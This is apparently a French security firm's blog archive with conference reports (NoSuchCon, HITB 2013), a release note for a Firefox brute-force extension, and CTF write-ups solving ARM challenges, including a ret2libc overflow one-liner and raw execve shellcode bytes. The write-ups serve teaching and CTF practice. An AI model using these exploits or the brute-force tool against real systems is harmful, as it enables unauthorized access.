Ils ont donc commencé par attaquer les moteurs en fragmentant les paquets au niveau réseau. Les impacts sur les moteurs de reconstruction de paquets ont semble-t-il porté ses fruits.

Leur deuxième cible a été le moteur de compression/décompression. Les méthodes de compression stockent souvent les valeurs sur 7 bits, le dernier bit étant utilisé afin de prévenir si un autre octet est nécessaire pour récupérer toutes les données.

En utilisant une simple technique de bit flipping sur le premier (pour le signe) et le dernier bit, ils ont ainsi pu remonter un certain nombre de bugs.

Le protocole du jeu utilisé pour communiquer peut également contenir des erreurs. Le hic est que pour un même moteur, les données échangées ne sont pas les mêmes. Des mécanismes d’obfuscation entrent en jeu augmentant un peu la difficulté d’exploitation. Leur solution a été de réaliser des tables de correspondances.

Dernier vecteur : les Maps, Mods et autre customisations sont souvent dans des formats binaires complexes et présentent donc également des vulnérabilités. Il est même possible de lancer via steam et un navigateur, des jeux avec des lignes de commandes particulières (utilisés pour du debug par exemple) contenant des failles.

Inutile de dire que l’exploitation de game engine a de l’avenir.
http://www.revuln.com/files/ReVuln_Game_Engines_0days_tale.pdf

Sergey Bratus – "Any Input Is a Program" : Weird Machines in ABI and Architecture Metadata

Sergey a remplacé Mohamed Saher pour nous présenter les travaux de ses étudiants Julian Bangert et Rebecca ‘.bx’ Shapiro.

Ils ont mis au point une technique d’exécution via le MMU et tous les mécanismes de gestion des page fault n’utilisant qu’une seule instruction est étant turing-complet ! Comme il le dit, "think of it as a fairy tale" c’est vraiment magique et ça marche. 
http://www.nosuchcon.org/talks/D3_06_Sergey_Any_Input_is_a_program.pdf

Adrien Chevalier, Robinson Delauguerre – Arsenic Framework, Killing RATs with an Incident Response Framework

Cette dernière conférence était consacrée à la présentation d’un framework de détection des remote access tools.

Les 3 axes sur lesquels se basent Arsenic sont l’analyse réseau, le forensique des hôtes suspects et le reverse engineering. Tout ceci de manière automatique.

Ce framework écrit en ruby contient une API pour l’écriture de modules et sortira dans les mois qui viennent.

Un projet à suivre et à essayer !

The End

Ce fut une semaine chargée tant pour le foie que pour les connaissances. Le 0% bullshit annoncé par Andrea Barisani dans la première Keynote a été atteint. NoSuchCon est réellement le type de conférence qui rassemble les meilleurs chercheurs dans une ambiance détendue, loin des commerciaux et des profits :p.

Merci encore aux organisateurs !!!

Publié dans Events, news

Publication de Fireforce 2.2 (plugin de Brute-force Firefox) / Release of Fireforce 2.2

Sortie de Fireforce 2.2

L’extension est disponible sur notre site web 
http://www.scrt.ch/attaque/telechargements/fireforce
 et sur la plateforme de téléchargement de mozilla 
https://addons.mozilla.org

**********************************************
Change log

Nouveautés

- Compatibilité avec Firefox 22.*
- Générer un range de mot de passe (par exemple : 1000 à 2000)
- Choisir si le texte correspond à une authentification réussie ou échouée

Suppression

- Plus possible de choisir le nombre de requête par seconde (la valeur est de 50 par défaut)

**********************************************

Merci de faire parvenir les problèmes rencontrés ainsi que vos commentaires à l’adresse info@scrt.ch.

 

Release of Fireforce 2.2

The new version of Fireforce is available on our website 
http://www.scrt.ch/attaque/telechargements/fireforce
 and on the Mozzila plateform 
https://addons.mozilla.org

**********************************************

Change log

Add

- Compatible with firefox 22.*
- Generate password in a range (for example : 1000 to 2000)
- choose if the text matches a successfull or failed authentication

Removal

- not possible to choose the number of password per second (the value 50 is set by default)

**********************************************

If you encounter any problems or have any comments, please contact us at:info@scrt.ch.

Publié dans Uncategorized

Hack in The Box Amsterdam 2013

Keynote jour 1 : Embracing the uncertainty of advanced attacks with Big Data analytics

La keynote de lancement de la conférence avait pour thème la détection d’incidents à l’aide du Big Data. Ce terme est présent dans de nombreux milieux depuis des années mais commence à peine à être utilisé dans le monde de la sécurité.

Comme Edward Schwartz (CISO de RSA) le repète à plusieurs reprises, la détection d’incidents se heurte à différents problèmes comme la génération d’évènements utiles et utilisables, ainsi qu’à leur traitement. On commence à avoir une bonne vision de ce qui est clairement une attaque (signature de virus connus par exemple), mais comment détecter des attaques plus évoluées? Pour répondre à ces problèmes, M. Schwartz a formé des équipes avec des personnes spécialisées dans des domaines précis (malware analysis, exploit analysis, …) dans le but d’avoir l’expertise nécessaire pour la création des filtres appliqués sur les données ainsi que les validations.

Il est intéressant de voir comment des entreprises qui ont subis des attaques "APT" changent leur comportement, mais reste à voir comment cela peut se porter à des groupes de plus petite taille ou avec une équipe sécurité plus limitée en taille et/ou ressources.

Papparazi over IP

Les attaques présentées n’avaient rien de nouveau et bien au contraire, elles sont généralement absentes dans les environnements que nous utilisons tous les jours. Daniel Mende démontre ici que ces attaques, même si très simples, sont présentent dans des équipements embarqués high-end comme les EOS 1DX de Canon.

Ces derniers possèdent une interface ethernet et peuvent acceuillir une carte WiFi afin de permettre aux photographes d’uploader leurs photos directement sur un serveur FTP, d’y accéder depuis leur laptop au travers du protocole DLNA, un serveur web embarqué ou encore le client EOS Utility. On voit clairement 2 points critiques avec le FTP non-chiffré et le DLNA qui est un protocole ne demandant aucune authentification. Heureusement, le serveur web utilise des identifiants de sessions de 32bits (environ 20min pour tester toutes les combinaisons sur cet appareil) et le client lourd requière un nom d’hôte (qui n’est pas validé côté serveur) et un secret (qui est broadcasté sur le réseau au démarrage de l’appareil)…

Ce type de vulnérabilités peut avoir un impact critique pour des photographes professionels, comme la suppression de photos, l’ajout de photos comprométentes ou encore la prise de contrôle à distance pour surveiller ce qui se passe dans une pièce. Du chemin reste donc encore à parcourir dans certains domaines pour que le niveau de sécurité rejoigne celui auquel nous sommes habitué sur les OS courants.

Nifty tricks and sage advices for shellcode on embedded devices

En lisant le titre de cette présentation on pourrait penser à une Nième présentation sur l’exploitation sur Android ou le routeur XYZ. C’est sans connaitre Travis Goodspeed qui parle ici de microcontrolleurs de 8, 16 ou 32 bits comme le 8051 d’Intel sans système d’exploitation et avec tout au plus une version limitée de la libc.

Le but ici n’est alors pas forcément d’obtenir une exécution de code, qui pourrait servir par exemple dans le cas où la fonctionalité de mise à jour a été omise, mais l’exploitation d’une vulnérabilité va servir à extraire le contenu de la flash afin d’obtenir le code présent. Les protections rencontrées sur x64/ARM ne sont pas présentent mais remplacées par des limitations de concept comme l’interdiction d’exécution de code depuis la RAM. L’extraction des données peut également posé problème du fait de limitation de taille sur les caches disponibles. Il faut alors faire preuve d’ingéniosité comme par exemple utilisé les ports GPIO des LEDs.

Virtually secure: analysis to remote 0day in an industry leading SSL-VPN appliance

Le contenu de cette conférence n’était pas impressionant (injection SQL sur une page accessible sans authentification), mais le fait d’expliquer les différentes étapes de la recherche de vulnérabilité sur ce type d’équipement ainsi que les problèmes rencontré ainsi que leurs solutions en ont fait une bonne présentation.

Cette présentation permet également de rappeler un point important: bien souvent trop de confiance peut être accordée aux produits de sécurité qui une fois compromis offrent un accès quasi-total au LAN de l’entreprise (dans le cas d’un portail VPN). C’est dans ce type de cas qu’une surveillance comme celle présentée dans la keynote de lancement fait tout son sens.

Page fault liberation army or better security through creative x86 trapping

Excellente présentation de Sergey Bratus et Julian Bangert. Concrêtement l’utilité de leur recherche n’est pas visible, mais le concept est intéressant: construire une machine Turing-complete qui utilise une seule instruction.

Ici, un jeu de la vie complêt (souvenirs d’école d’ingénieur…) a été développé sans écrire une seule instruction assembleur. C’est le mécanisme qui est hardcodé dans la MMU qui est utilisé pour modifier des valeurs en mémoires. L’équivalent d’une instruction est réalisé grâce aux TLBs et le signal d’horloge est simulé par une exception page-fault. Attention, une bonne thermos de café est requise pour la lecture de ces slides ;)

Aircraft hacking: Practical aero series

Un titre de conférence qui fait peur, non sans raisons. Hugo Teso y a présenté les résultats de plus de 3ans de recherches personnelles sur la sécurité des avions. Comme toute attaque, les phases de reconnaissance, exploitation, post-exploitation ont été respectées. La phase de reconnaissance et l’exploitation se passe par les canaux de communication qu’utilisent les avions et les équipes au sol pour communiquer.

Hugo a également présenté son laboratoire monté pour ses recherches, comprenant des systèmes d’entrainement de pilotes ou encore des vraies composants achetés sur des sites d’enchères en ligne.

Les outils d’exploitation et post-exploitation ne fonctionnent que sur la partie virtualisée du lab afin de ne pas permettre à de personnes mal intentionnées de les utiliser. Les autorités Européennes concernées ont également été contacté et les résultats des recherches vont permettre d’améliorer la sécurité via une collaboration de ces instances.

Keynote jour 2 : Rethinking the front lines

Bob Lord (Director of Information Security, Twitter) nous y présente son retour d’expérience sur le thème des sensibilisations utilisateurs dans le contexte de Twitter.

Cet exercice est loin d’être facile du fait des mauvaises habitudes que les employés ont pu prendre par le passé et nécessite ainsi de faire la formation au plus tôt lors de l’arrivée des nouveaux employés et de rendre ça le plus fun possible afin de laisser une trace dans la mémoire des gens. Un suivi constant via différentes statistiques sur le suivi des bonnes pratiques présentées ainsi que des campagnes de phishing lui permette de remettre en question la formation données afin d’avoir au fur et à mesure de meilleurs résultats.

Swiping though modern security features

Nous ne rentrerons pas dans la technique utilisée pour ce jailbreak du fait qu’il est déjà détaillé à différents endroits et les slides seront disponibles sous peu. On retiendra néanmoins que le contournement du mécanisme de Code Signing a été possible sans une seule vulnérabilité mémoire, tout est lié à des erreurs de logiques. La seconde partie est plus complexe mais ne requière qu’une fonction vulnérable, liée à la stack USB, afin d’appeler du code coté kernel (reste à connaitre une adresse intéressante).

Les protections mises en place par Apple sont complexes à contourner, mais il reste certains points non-protégés qui peuvent être utilisés comme rebonds.

Conclusion

En conclusion, cette édition 2013 d’HiTB était très intéresante et d’un bon niveau. On regrettera tout de même les présentations "hardware" qui consistaient, dans les grandes lignes, à exploiter des Linux embarqués comprenant des serveurs web ou des scripts CGI vulnérables, ce qui est connu depuis plusieurs années.

Publié dans Events, news | Tagué

Insomni’hack 2013 – Armory level3

This challenge was the last level on the ARM platform. It was a crackme with a stripped binary including a basic anti-debugging trick. Sadly, only one team managed to complete this challenge before the end of Insomni’hack and another wasn’t far from what we discussed later.

Running the binary alone we can learn that two things should be provided: a username and a serial number. Maybe the two are linked, maybe not…

The check for the username is easily spotted using IDA and searching for cross-references to strcmp(). Also, the serial is XOR’d with this username.

.text:00008AE8 E4 01 9F E5 LDR     R0, =aJackknife ; "jackknife"
.text:00008AEC 14 10 1B E5 LDR     R1, [R11,#s2]   ; s2
.text:00008AF0 68 FE FF EB BL      strcmp
.text:00008AF4 00 30 A0 E1 MOV     R3, R0
.text:00008AF8 00 00 53 E3 CMP     R3, #0
.text:00008AFC 08 00 00 1A BNE     loc_8b24
...
.text:00008B70 1C 20 1B E5 LDR     R2, [R11,#var_1C]
.text:00008B74 10 30 1B E5 LDR     R3, [R11,#var_10]
.text:00008B78 03 30 82 E0 ADD     R3, R2, R3
.text:00008B7C 14 10 1B E5 LDR     R1, [R11,#s2]
.text:00008B80 10 20 1B E5 LDR     R2, [R11,#var_10]
.text:00008B84 02 20 81 E0 ADD     R2, R1, R2
.text:00008B88 00 10 D2 E5 LDRB    R1, [R2]
.text:00008B8C 18 00 1B E5 LDR     R0, [R11,#s]
.text:00008B90 10 20 1B E5 LDR     R2, [R11,#var_10]
.text:00008B94 02 20 80 E0 ADD     R2, R0, R2
.text:00008B98 00 20 D2 E5 LDRB    R2, [R2]
.text:00008B9C 02 20 21 E0 EOR     R2, R1, R2
.text:00008BA0 72 20 EF E6 UXTB    R2, R2
.text:00008BA4 00 20 C3 E5 STRB    R2, [R3]
.text:00008BA8 10 30 1B E5 LDR     R3, [R11,#var_10]
.text:00008BAC 01 30 83 E2 ADD     R3, R3, #1
.text:00008BB0 10 30 0B E5 STR     R3, [R11,#var_10]

Next step: run the binary in GDB in order to see how the serial number is validated.

level3@sploitboard:~$ gdb ./level3 
(gdb) r foo bar
Starting program: /home/level3/level3 foo bar
Ammo store
----------
Validating your credentials to download ammo for your weapons...

Program received signal SIGTRAP, Trace/breakpoint trap.
0xb6ec0bfc in raise () from /lib/arm-linux-gnueabihf/libc.so.6

Wait what?!? You didn’t put any breakpoint and still a SIGTRAP is raised. Looking more closely we can see that the raise(3) function is called multiple times in the application so it seems that this is our anti-debugging trick.

Direction Type Address      Text         
--------- ---- -------      ----         
Up        p    sub_889C+20  BL      raise
Up        p    sub_88C8+18  BL      raise
Up        p    sub_88F0+1C  BL      raise
Up        p    sub_891C+1C  BL      raise
Up        p    sub_8948+18  BL      raise
Up        p    sub_8988+C   BL      raise
          p    sub_8A48+9C  BL      raise
Down      p    sub_8A48+F0  BL      raise
Down      p    sub_8A48+188 BL      raise

We can also see that a signal handler is defined for SIGTRAP and SIGABRT and that this handler is incrementing a global variable:

.text:000089F4                 LDR     R3, =sig_handler
.text:000089F8                 STR     R3, [R11,#act]
.text:000089FC                 SUB     R3, R11, #-act
.text:00008A00                 MOV     R0, #5          ; sig
.text:00008A04                 MOV     R1, R3          ; act
.text:00008A08                 MOV     R2, #0          ; oact
.text:00008A0C                 BL      sigaction
.text:00008A10                 SUB     R3, R11, #-act
.text:00008A14                 MOV     R0, #6          ; sig
.text:00008A18                 MOV     R1, R3          ; act
.text:00008A1C                 MOV     R2, #0          ; oact
.text:00008A20                 BL     
...
; sig_handler:
.text:000089BC 18 30 9F E5 LDR     R3, =dword_10F7C
.text:000089C0 00 30 93 E5 LDR     R3, [R3]
.text:000089C4 01 20 83 E2 ADD     R2, R3, #1
.text:000089C8 0C 30 9F E5 LDR     R3, =dword_10F7C
.text:000089CC 00 20 83 E5 STR     R2, [R3]

The first check that is done on the XOR’d serial number is using this counter so we might have to run this code to know this value without reversing the complete application. Using a breakpoint on raise(3) and the call method in GDB we can emulate the SIGTRAP without actually triggering it.

.text:00008BD4 1C 30 1B E5 LDR     R3, [R11,#XOR_serial]
.text:00008BD8 00 30 D3 E5 LDRB    R3, [R3]
.text:00008BDC 03 20 A0 E1 MOV     R2, R3
.text:00008BE0 DC 30 9F E5 LDR     R3, =dword_10F7C
.text:00008BE4 00 30 93 E5 LDR     R3, [R3]
.text:00008BE8 03 30 82 E0 ADD     R3, R2, R3
.text:00008BEC 73 30 EF E6 UXTB    R3, R3
.text:00008BF0 A3 00 53 E3 CMP     R3, #0xA3
Breakpoint 1, 0xb6ec0bbc in raise () from /lib/arm-linux-gnueabihf/libc.so.6
(gdb) call (void)0x89a0(5)
$1 = 35232
(gdb) bt
#0  0xb6ec0bbc in raise () from /lib/arm-linux-gnueabihf/libc.so.6
#1  0x00008ae8 in ?? ()
#2  0x00008ae8 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) set $pc=0x8ae8
(gdb) c
Breakpoint 4, 0x00008be0 in ?? ()
(gdb) x /5i $pc
=> 0x8be0:	ldr	r3, [pc, #220]	; 0x8cc4
   0x8be4:	ldr	r3, [r3]
   0x8be8:	add	r3, r2, r3
   0x8bec:	uxtb	r3, r3
   0x8bf0:	cmp	r3, #163	; 0xa3
(gdb) p *0x10f7c
$22 = 2

This means that the XOR’d value added to 2 should be equal to 0xa3. Continuing this lenghty process, we can get all the characters of the serial number:

level3@sploitboard:~$ ./level3 jackknife `python -c 'print "\xcb"+"b\xea\xe2aaaaa"'`
Ammo store
----------
Validating your credentials to download ammo for your weapons...
36760a05c853e6a7444b6a3de2c100591e0ad9c0193c56ca562949f4f7342a808cead86e34f940fb88221403451345e36edddcce51934eb4ea64af7c27aa6650
Publié dans Insomni'hack | Tagué , , ,

Insomni’hack 2013 Armory level1 & level2

Level1 should be pretty straightforward. Looking at the assenbly, you can see that it prints the current working directory by using system("pwd") and then strcpy user controlled data to a fixed size buffer.

Stack is NX so we need to ret2libc, pretty easy here as the address of system is known inside the binary:

Dump of assembler code for function main:
   ...
   0x000084f0 <+44>:	bl	0x836c <printf>
   0x000084f4 <+48>:	ldr	r0, [pc, #40]	; 0x8524 <main+96>
   0x000084f8 <+52>:	bl	0x839c <system>   # Adress of system
   0x000084fc <+56>:	ldr	r3, [r11, #-12]
   0x00008500 <+60>:	add	r3, r3, #4
   ...
End of assembler dump.

So, by calculating the offset, we know we have $pc control after 132 bytes. System takes one argument in $r0. Perfect, right after the $pc overwrite, we have a user-controlled string in $r0 being our argv[1].

Here is the exploit :

# ./level1 `python -c 'print "/bin/sh;"+"#"*124+"\x9c\x83"'`
Current working directory:
/home/level1
root says: /bin/sh;############################################################################################################################
# ls -al
total 28
dr-xr-x--- 2 level1 level1 4096 Mar 20 08:56 .
dr-xr-xr-x 6 root root 4096 Mar 19 23:40 ..
lrwxrwxrwx 1 root root 9 Mar 20 08:56 .bash_history -&gt; /dev/null
-r--r--r-- 1 level1 level1 220 Jan 11 06:34 .bash_logout
-r--r--r-- 1 level1 level1 3392 Jan 11 06:34 .bashrc
-r-sr-xr-x 1 level2 level1 5684 Mar 6 10:29 level1
-r--r--r-- 1 level1 level1 675 Jan 11 06:34 .profile
# 

Level2 is a bit more complicated.

The program reads 20 bytes from stdin and jumps to it, stack is executable:

(gdb) disass main
Dump of assembler code for function main:
   0x000083fc <+0>:	push	{r11, lr}
   0x00008400 <+4>:	add	r11, sp, #4
   0x00008404 <+8>:	sub	sp, sp, #256	; 0x100
   0x00008408 <+12>:	sub	r3, r11, #260	; 0x104
   0x0000840c <+16>:	mov	r2, #20 = size
   0x00008410 <+20>:	mov	r1, r3
   0x00008414 <+24>:	mov	r0, #0  = stdin
   0x00008418 <+28>:	bl	0x8314 <read>
   0x0000841c <+32>:	sub	r3, r11, #260	; 0x104
   0x00008420 <+36>:	blx	r3    # jumps to our buffer
   0x00008424 <+40>:	ldr	r0, [pc, #4]	; 0x8430 <main+52>
   0x00008428 <+44>:	bl	0x8320 <puts>
   0x0000842c <+48>:	b	0x8408 <main+12>

20 bytes is too small to do an execve, but it’s enough to do a return to read, in this case main+20 after having set $r2 big enough to contain our shellcode.

The exploit will be done in two stage, first one is to set $r2 to 256 and then jump to 0×8410. Also when the program branch to $r3, we can see that $r6 points near to main, at 0×8350. We need to :

 add r6,r6,$192
mov r2, $256
blx r6
PAD
PAD

This would work well in a perfect world but was failing randomly on the raspberry pi (core dumps) but never through gdb or strace. Analyzing the core dumps, we saw that sometimes the program wasn’t doing the blx r6 from time to time and that left us wandering. We added some loop after the blx r6 to "stabilize" the exploit :-)

_start:
add r6,r6,$192
mov r2, $256
test:
blx r6
bl test
bl test

For the second pass, we used djo‘s linux/arm execve from http://www.shell-storm.org/shellcode/files/shellcode-696.php

Here is the final exploit:

 # (python -c 'print "\xc0\x60\x86\xe2\x01\x2c\xa0\xe3\x36\xff\x2f\xe1\xfd\xff\xff\xeb\xfc\xff\xff\xeb"+"\x01\xdc\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x08\x30\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x00"';cat) | ./level2

We got around 3 out of 5 successful exploit from there so we figured it was sort of working… And in any case we were available during the CTF to discuss this should a team have any issues.

Team Int3pids was the first to solve it so we went to discuss with the one who solved it, Eloi Sanfelix. He told us that this kind of behavior is typical on arm processors due to the data and instruction cache. That explains why it was working all the time under a debugger since the cache has enough time to flush.

Nevertheless, one other team solved it by launching it over and over. I was told it took them ~200 attempts :-)

Publié dans Insomni'hack | Tagué , ,